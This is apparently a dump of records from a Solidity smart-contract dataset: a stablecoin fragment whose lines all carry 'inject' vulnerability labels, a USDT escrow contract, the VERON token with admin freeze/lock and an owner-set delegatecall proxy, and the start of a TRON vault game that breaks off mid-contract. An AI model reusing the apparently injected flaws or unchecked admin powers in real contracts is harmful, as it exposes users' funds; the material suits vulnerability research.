$DAI.transferFrom(msg.sender, address(this), daiSplit); // deposit $DAI split after approval //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_mint(msg.sender, amount.mul($USDAIunit)); // mint $USDAI //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function redeem$USDAI(uint256 amount) public {
uint256 usdcSplit = amount.mul($USDCunit).div(2); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 daiSplit = amount.mul($DAIunit).div(2); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
$USDC.transfer(msg.sender, usdcSplit); // return $USDC split //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
$DAI.transfer(msg.sender, daiSplit); // return $DAI split //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_burn(msg.sender, amount.mul($USDAIunit)); // burn $USDAI //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
| 277,966 | 12,013 |
61b3466efe72154507043ad6bbfb3e1016e1f42965ab13592a9f1f2776753a26
| 19,903 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xbc2e0b081f63a89b7089a68f050d68033d3bd33a.sol
| 5,099 | 19,517 |
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
struct GuarantorInfo {
string name;
string telegramId;
string description;
uint256 collateral;
uint256 processingGuaranteeAmount;
}
abstract contract Guarantor is Pausable {
address public admin;
enum GuarantorState {notLocked, locked}
uint256 public guarantorIndex;
address[] public guarantors;
mapping(address => uint256) public guarantorIndexOfOwner;
mapping(uint256 => GuarantorState) public guarantorStates;
mapping(uint256 => GuarantorInfo) public guarantorInfos;
constructor() {
admin = msg.sender;
guarantors.push(address(0));
guarantorIndex = 1;
}
modifier onlyAdmin(){
require(msg.sender == admin, "only admin");
_;
}
modifier onlyGuarantorSelf(uint256 _guarantorIndex){
require(guarantors[_guarantorIndex] == msg.sender, "msg.sender should be the guarantor of guarantorIndex");
_;
}
modifier onlyNotProcessingGuaranteeAmount(uint256 _guarantorIndex){
require(guarantorInfos[_guarantorIndex].processingGuaranteeAmount == 0, "Only not processing guarantee amount");
_;
}
modifier onlyNotRegistered(){
require(guarantorIndexOfOwner[msg.sender] == 0, "The address of msg.sender is already registered");
_;
}
modifier onlyLocked(uint256 _guarantorIndex){
require(guarantorStates[_guarantorIndex] == GuarantorState.locked, "The state of guarantor is not locked");
_;
}
modifier onlyNotLocked(uint256 _guarantorIndex){
require(guarantorStates[_guarantorIndex] == GuarantorState.notLocked, "The state of guarantor is locked");
_;
}
event GuarantorRegister(uint256 indexed guarantorIndex, address guarantor, uint256 timestamp);
event GuarantorDeposit(uint256 indexed guarantorIndex, address from, uint256 amount, uint256 timestamp);
event GuarantorWithdraw(uint256 indexed guarantorIndex, address to, uint256 amount, uint256 timestamp);
event LockGuarantor(uint256 indexed guarantorIndex, uint256 timestamp);
event UnlockGuarantor(uint256 indexed guarantorIndex, uint256 timestamp);
event InterveneCollateral(uint256 indexed guarantorIndex, address to, uint256 amount, uint256 timestamp);
function _processDeposit(uint256 amount) internal virtual;
function _processWithdraw(address to, uint256 amount) internal virtual;
function guarantorRegister(uint256 _collateralAmount, string calldata _name, string calldata _telegramId, string calldata _description) external payable whenNotPaused onlyNotRegistered {
require(_collateralAmount > 0, "Registering amount should not be zero");
_processDeposit(_collateralAmount);
guarantors.push(msg.sender);
guarantorIndexOfOwner[msg.sender] = guarantorIndex;
guarantorStates[guarantorIndex] = GuarantorState.notLocked;
GuarantorInfo memory newGuarantorInfo = GuarantorInfo({
name: _name,
telegramId: _telegramId,
description: _description,
collateral: _collateralAmount,
processingGuaranteeAmount: 0
});
guarantorInfos[guarantorIndex] = newGuarantorInfo;
emit GuarantorRegister(guarantorIndex, msg.sender, block.timestamp);
emit GuarantorDeposit(guarantorIndex, msg.sender, _collateralAmount, block.timestamp);
guarantorIndex++;
}
function updateInfo(uint256 _guarantorIndex, string calldata _name, string calldata _telegramId, string calldata _description) external whenNotPaused onlyGuarantorSelf(_guarantorIndex) onlyNotLocked(_guarantorIndex) {
guarantorInfos[_guarantorIndex].name = _name;
guarantorInfos[_guarantorIndex].telegramId = _telegramId;
guarantorInfos[_guarantorIndex].description = _description;
}
function guarantorDeposit(uint256 _guarantorIndex, uint256 _amount) external payable whenNotPaused {
_processDeposit(_amount);
guarantorInfos[_guarantorIndex].collateral += _amount;
emit GuarantorDeposit(_guarantorIndex, msg.sender, _amount, block.timestamp);
}
function guarantorWithdraw(uint256 _guarantorIndex,
address _to,
uint256 _amount) external whenNotPaused onlyGuarantorSelf(_guarantorIndex) onlyNotProcessingGuaranteeAmount(_guarantorIndex) onlyNotLocked(_guarantorIndex) {
require(guarantorInfos[_guarantorIndex].collateral >= _amount, "Withdraw amount should be less than guarantor's fund.");
_processWithdraw(_to, _amount);
guarantorInfos[_guarantorIndex].collateral -= _amount;
emit GuarantorWithdraw(_guarantorIndex, _to, _amount, block.timestamp);
}
function lockGuarantor(uint256 _guarantorIndex) external onlyAdmin {
guarantorStates[_guarantorIndex] = GuarantorState.locked;
emit LockGuarantor(_guarantorIndex, block.timestamp);
}
function unlockGuarantor(uint256 _guarantorIndex) external onlyAdmin {
guarantorStates[_guarantorIndex] = GuarantorState.notLocked;
emit UnlockGuarantor(_guarantorIndex, block.timestamp);
}
function collateralIntervene(uint256 _guarantorIndex, address _to, uint256 _amount) external onlyAdmin onlyLocked(_guarantorIndex) {
require(guarantorInfos[_guarantorIndex].collateral >= _amount, "Withdraw amount should be less than guarantor's fund.");
_processWithdraw(_to, _amount);
guarantorInfos[_guarantorIndex].collateral -= _amount;
emit InterveneCollateral(_guarantorIndex, _to, _amount, block.timestamp);
}
function changeAdmin(address nextAdmin) external onlyAdmin {
admin = nextAdmin;
}
function pause() external onlyAdmin {
_pause();
}
function unpause() external onlyAdmin {
_unpause();
}
}
struct GuaranteeInfo {
uint256 guarantorIndex;
address demandA;
address demandB;
uint256 fund;
uint32 feePercentLimit;
string content;
}
abstract contract Guarantee is Guarantor {
uint256 public guaranteeIndex;
GuaranteeInfo[] public guarantees;
constructor() Guarantor() {
guaranteeIndex = 1;
guarantees.push(GuaranteeInfo({
guarantorIndex: 0,
demandA: address(0),
demandB: address(0),
fund: 0,
feePercentLimit: 0,
content: ""
}));
}
event GuaranteeRegister(uint256 indexed guaranteeIndex, uint256 guarantorIndex, address demandA, address demandB, uint32 feePercentLimit, string content, uint256 timestamp);
event GuaranteeDeposit(uint256 indexed guaranteeIndex, address from, uint256 amount, uint256 timestamp);
event GuaranteeWithdraw(uint256 indexed guaranteeIndex, uint256 amountToA, uint256 amountToB, uint32 feePercent, string info, uint256 timestamp);
event InterveneGuarantee(uint256 indexed guaranteeIndex, uint256 amountToA, uint256 amountToB, uint32 feePercent, string info, uint256 timestamp);
function guaranteeRegister(uint256 _guarantorIndex,
address _demandA,
address _demandB,
uint32 _feePercentLimit,
string calldata _content) external whenNotPaused onlyGuarantorSelf(_guarantorIndex) onlyNotLocked(_guarantorIndex) {
require(_feePercentLimit > 0 && _feePercentLimit < 100, "Invalid fee percent limit");
guarantees.push(GuaranteeInfo({
guarantorIndex: _guarantorIndex,
demandA: _demandA,
demandB: _demandB,
fund: 0,
feePercentLimit: _feePercentLimit,
content: _content
}));
emit GuaranteeRegister(guaranteeIndex, _guarantorIndex, _demandA, _demandB, _feePercentLimit, _content, block.timestamp);
guaranteeIndex++;
}
function guaranteeDeposit(uint256 _guaranteeIndex, uint256 _amount) external payable whenNotPaused {
require(_guaranteeIndex < guaranteeIndex, "Invalid guarantee index");
guarantees[_guaranteeIndex].fund += _amount;
guarantorInfos[guarantees[_guaranteeIndex].guarantorIndex].processingGuaranteeAmount += _amount;
_processDeposit(_amount);
emit GuaranteeDeposit(_guaranteeIndex, msg.sender, _amount, block.timestamp);
}
function guaranteeWithdraw(uint256 _guaranteeIndex,
uint256 _guarantorIndex,
uint256 _amountToA,
uint256 _amountToB,
uint32 _feePercent,
string calldata _info) external whenNotPaused onlyGuarantorSelf(_guarantorIndex) onlyNotLocked(_guarantorIndex) {
require(guarantees[_guaranteeIndex].guarantorIndex == _guarantorIndex, "Invalid guarantor index");
require(_amountToA + _amountToB <= guarantees[_guaranteeIndex].fund, "Insufficient fund");
require(_feePercent <= guarantees[_guaranteeIndex].feePercentLimit, "Invalid fee percent");
uint256 processingAmount = _amountToA + _amountToB;
guarantees[_guaranteeIndex].fund -= processingAmount;
uint256 feeA = _amountToA * uint256(_feePercent) / 100;
uint256 feeB = _amountToB * uint256(_feePercent) / 100;
guarantorInfos[_guarantorIndex].processingGuaranteeAmount -= processingAmount;
_processWithdraw(guarantees[_guaranteeIndex].demandA, _amountToA - feeA);
_processWithdraw(guarantees[_guaranteeIndex].demandB, _amountToB - feeB);
_processWithdraw(msg.sender, feeA + feeB);
emit GuaranteeWithdraw(_guaranteeIndex, _amountToA, _amountToB, _feePercent, _info, block.timestamp);
}
function interveneGuarantee(uint256 _guaranteeIndex,
uint256 _amountToA,
uint256 _amountToB,
uint32 _feePercent,
string calldata _info) external onlyAdmin {
require(_guaranteeIndex < guaranteeIndex, "Invalid guarantee index");
require(_amountToA + _amountToB <= guarantees[_guaranteeIndex].fund, "Insufficient fund");
require(_feePercent <= guarantees[_guaranteeIndex].feePercentLimit, "Invalid fee percent");
uint256 processingAmount = _amountToA + _amountToB;
guarantees[_guaranteeIndex].fund -= processingAmount;
uint256 feeA = _amountToA * uint256(_feePercent) / 100;
uint256 feeB = _amountToB * uint256(_feePercent) / 100;
guarantorInfos[guarantees[_guaranteeIndex].guarantorIndex].processingGuaranteeAmount -= processingAmount;
_processWithdraw(guarantees[_guaranteeIndex].demandA, _amountToA - feeA);
_processWithdraw(guarantees[_guaranteeIndex].demandB, _amountToB - feeB);
_processWithdraw(msg.sender, feeA + feeB);
emit InterveneGuarantee(_guaranteeIndex, _amountToA, _amountToB, _feePercent, _info, block.timestamp);
}
function guaranteeIndexesOfDemand(address _demand) external view returns(uint256[] memory guaranteeIndexes) {
uint256 guaranteeCount = 0;
for(uint256 _guaranteeIndex = 1; _guaranteeIndex < guaranteeIndex; _guaranteeIndex++) {
if(guarantees[_guaranteeIndex].demandA == _demand || guarantees[_guaranteeIndex].demandB == _demand){
guaranteeCount++;
}
}
uint256[] memory result = new uint256[](guaranteeCount);
guaranteeCount = 0;
for(uint256 _guaranteeIndex = 1; _guaranteeIndex < guaranteeIndex; _guaranteeIndex++) {
if(guarantees[_guaranteeIndex].demandA == _demand || guarantees[_guaranteeIndex].demandB == _demand){
result[guaranteeCount++] = _guaranteeIndex;
}
}
return result;
}
function guaranteeIndexesOfGuarantor(uint256 _guarantorIndex) external view returns(uint256[] memory guaranteeIndexes) {
uint256 guaranteeCount = 0;
for(uint256 _guaranteeIndex = 1; _guaranteeIndex < guaranteeIndex; _guaranteeIndex++) {
if(guarantees[_guaranteeIndex].guarantorIndex == _guarantorIndex){
guaranteeCount++;
}
}
uint256[] memory result = new uint256[](guaranteeCount);
guaranteeCount = 0;
for(uint256 _guaranteeIndex = 1; _guaranteeIndex < guaranteeIndex; _guaranteeIndex++) {
if(guarantees[_guaranteeIndex].guarantorIndex == _guarantorIndex){
result[guaranteeCount++] = _guaranteeIndex;
}
}
return result;
}
}
contract USDTGuarantee is Guarantee {
using SafeERC20 for IERC20;
IERC20 public token;
constructor() Guarantee() {
token = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
}
function _processDeposit(uint256 amount) internal override {
require(msg.value == 0, "ETH value is supposed to be 0 for ERC20 instance");
token.safeTransferFrom(msg.sender, address(this), amount);
}
function _processWithdraw(address to, uint256 amount) internal override {
token.safeTransfer(to, amount);
}
}
| 275,044 | 12,014 |
a4eafb38d9643f684a85dfe1f4eb7d113fc8323d9f47b910a4d66ea1d18780e4
| 20,462 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/5329_15720_0x938f66735c6b4f99ee51e657d51e86c2847788cb.sol
| 3,513 | 13,699 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyNewOwner() {
require(msg.sender != address(0));
require(msg.sender == newOwner);
_;
}
function isOwner(address account) public view returns (bool) {
if(account == owner){
return true;
}
else {
return false;
}
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public onlyNewOwner returns(bool) {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract PauserRole is Ownable{
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender)|| isOwner(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function removePauser(address account) public onlyOwner {
_removePauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract Veron is ERC20Detailed, ERC20Pausable {
struct LockInfo {
uint256 _releaseTime;
uint256 _amount;
}
address public implementation;
mapping (address => LockInfo[]) public timelockList;
mapping (address => bool) public frozenAccount;
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
modifier notFrozen(address _holder) {
require(!frozenAccount[_holder]);
_;
}
constructor() ERC20Detailed("VERON", "VREX", 18) public {
_mint(msg.sender, 30000000000 * (10 ** 18));
}
function balanceOf(address owner) public view returns (uint256) {
uint256 totalBalance = super.balanceOf(owner);
if(timelockList[owner].length >0){
for(uint i=0; i<timelockList[owner].length;i++){
totalBalance = totalBalance.add(timelockList[owner][i]._amount);
}
}
return totalBalance;
}
function transfer(address to, uint256 value) public notFrozen(msg.sender) returns (bool) {
if (timelockList[msg.sender].length > 0) {
_autoUnlock(msg.sender);
}
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public notFrozen(from) returns (bool) {
if (timelockList[from].length > 0) {
_autoUnlock(from);
}
return super.transferFrom(from, to, value);
}
function freezeAccount(address holder) public onlyPauser returns (bool) {
require(!frozenAccount[holder]);
frozenAccount[holder] = true;
emit Freeze(holder);
return true;
}
function unfreezeAccount(address holder) public onlyPauser returns (bool) {
require(frozenAccount[holder]);
frozenAccount[holder] = false;
emit Unfreeze(holder);
return true;
}
function lock(address holder, uint256 value, uint256 releaseTime) public onlyPauser returns (bool) {
require(_balances[holder] >= value,"There is not enough balances of holder.");
_lock(holder,value,releaseTime);
return true;
}
function transferWithLock(address holder, uint256 value, uint256 releaseTime) public onlyPauser returns (bool) {
_transfer(msg.sender, holder, value);
_lock(holder,value,releaseTime);
return true;
}
function unlock(address holder, uint256 idx) public onlyPauser returns (bool) {
require(timelockList[holder].length > idx, "There is not lock info.");
_unlock(holder,idx);
return true;
}
function upgradeTo(address _newImplementation) public onlyOwner {
require(implementation != _newImplementation);
_setImplementation(_newImplementation);
}
function _lock(address holder, uint256 value, uint256 releaseTime) internal returns(bool) {
_balances[holder] = _balances[holder].sub(value);
timelockList[holder].push(LockInfo(releaseTime, value));
emit Lock(holder, value, releaseTime);
return true;
}
function _unlock(address holder, uint256 idx) internal returns(bool) {
LockInfo storage lockinfo = timelockList[holder][idx];
uint256 releaseAmount = lockinfo._amount;
delete timelockList[holder][idx];
timelockList[holder][idx] = timelockList[holder][timelockList[holder].length.sub(1)];
timelockList[holder].length -=1;
emit Unlock(holder, releaseAmount);
_balances[holder] = _balances[holder].add(releaseAmount);
return true;
}
function _autoUnlock(address holder) internal returns(bool) {
for(uint256 idx =0; idx < timelockList[holder].length ; idx++) {
if (timelockList[holder][idx]._releaseTime <= now) {
// If lockupinfo was deleted, loop restart at same position.
if(_unlock(holder, idx)) {
idx -=1;
}
}
}
return true;
}
function _setImplementation(address _newImp) internal {
implementation = _newImp;
}
function () payable external {
address impl = implementation;
require(impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
| 229,915 | 12,015 |
9af1578465c5a8eec58a967355587881bb2b7afa39d1fab0b00a93309072d499
| 22,645 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TF8deaKwKqJJbMYTwU9f3CVQbrGVGKqq9n_vaultGame.sol
| 4,485 | 17,373 |
//SourceUnit: vault.sol
pragma solidity 0.4.25;
//
//------------------------ SafeMath Library -------------------------//
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
//
//------------------ Contract to Manage Ownership -------------------//
//
contract owned {
address public owner;
address public newOwner;
address public signer;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
signer = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlySigner {
require(msg.sender == signer);
_;
}
function changeSigner(address _signer) public onlyOwner {
signer = _signer;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
//this flow is to prevent transferring ownership to wrong wallet by mistake
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
//
//--------------------- GAMES CONTRACT INTERFACE ---------------------//
//
interface InterfaceGAMES {
function getAvailableVaultRake() external returns (uint256);
function requestVaultRakePayment() external returns(bool);
}
interface ERC20Essential
{
function displayAvailableDividendALL() external returns (bool, uint256);
function distributeMainDividend() external returns(uint256);
function getDividendConfirmed(address user) external view returns (uint256);
function withdrawDividend() external returns(bool);
function balanceOf(address tokenOwner) external view returns (uint balance);
function burnVoucher(uint256 _value, uint8 mintShareStatus, address _user) external returns (bool success);
}
contract vaultGame is owned
{
constructor () public {
}
// Public variables of the token
using SafeMath for uint256;
uint256 public minimumVoucherToBurn; // minimum amount required to burning for effective on time
uint256 public burnIncreasePerLevelInPercent = 10000; // 10000 = 100%, minimum amount will increase by percent on each deffined step
uint256 public burnIncreaseAfterStepCount; // after this step count reached required burning will increase by given percent
uint256 public gameClockSpanInSeconds=43200; // 43200 sec = 12 Hr.
uint256 public burnPushInSecond=30; // Will push 30 second on each burn
uint256 public secondPushDecreasePerLevel=1; // Will decrease seconds (like lavel 1 = 30 Sec, lavel 2 = 29 Sec, lavel 3 = 28 Sec)
uint256 public gameTimer; // will keep the finished time of the game
uint256 public burnCounter; // counting of only effective burn from the start of game session
uint256 public totalVoucherBurnt; //count total effective vaucher burnt for one game session
bool public nextGameAutoStart;
mapping (address => bool) public globalToken; // The very voucher token only allowed to play here admin need to set
// This creates a mapping with all data storage
mapping (address => bool) public whitelistCaller;
address[] public whitelistCallerArray;
mapping (address => uint256) internal whitelistCallerArrayIndex;
uint256 public dividendAccumulated;
uint256 public divPercentageSUN = 100000000; //100% of dividend distributed
//distribution %age dynamically assigned by admin
uint256 toLastBurnerPercent = 2500; // 25%
uint256 toSenondLastBurnerPercent = 1500; // 15%
uint256 toThirdLastBurnerPercent = 1000; //10%
uint256 toOwnerPercent = 1000; // 10%
uint256 toDividendPercent = 2500; // 25%
uint256 carryOverPercent = 1500; // 15%
mapping(address => uint256) public userTrxBalance;
uint256 public carryOverAmount; // last x % of distribution (by carryOverPercent) carrited over
struct burnerInfo
{
